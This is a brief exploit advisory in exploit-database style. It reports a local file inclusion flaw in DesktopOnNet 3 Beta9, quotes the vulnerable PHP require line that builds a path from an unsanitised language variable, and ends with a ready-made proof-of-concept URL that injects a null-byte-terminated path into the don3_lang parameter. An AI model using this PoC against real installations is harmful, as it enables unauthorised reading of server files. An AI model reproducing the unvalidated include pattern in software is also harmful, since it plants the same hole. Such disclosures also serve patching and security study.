[+] DesktopOnNet 3 Beta9 Local File Include Vulnerability
[+] Discovered By: cr4wl3r
[+] Download: http://sourceforge.net/projects/don3/files/
[x] Code in [DON3/applications/don3_toolbox.don3app/don3_toolbox.php]

require("appfiles/languages/$don3_lang.php"); <--- LFI
if (!file_exists('library/don3_toolbox.don3lib')){
don3_do_don3lib("DON3: ToolBox;window;M;", "don3_toolbox");
}
$item = $_GET["ac"];
$toolbox_path = $app_path;
if (array_key_exists($item, $don3_toolbox_overview_words)){
$currently = $don3_toolbox_overview_words[$item];
} else {
$currently = $don3_toolbox_overview_words["start"];
}

[+] PoC: [path]/applications/don3_toolbox.don3app/don3_toolbox.php?don3_lang=[LFI%00]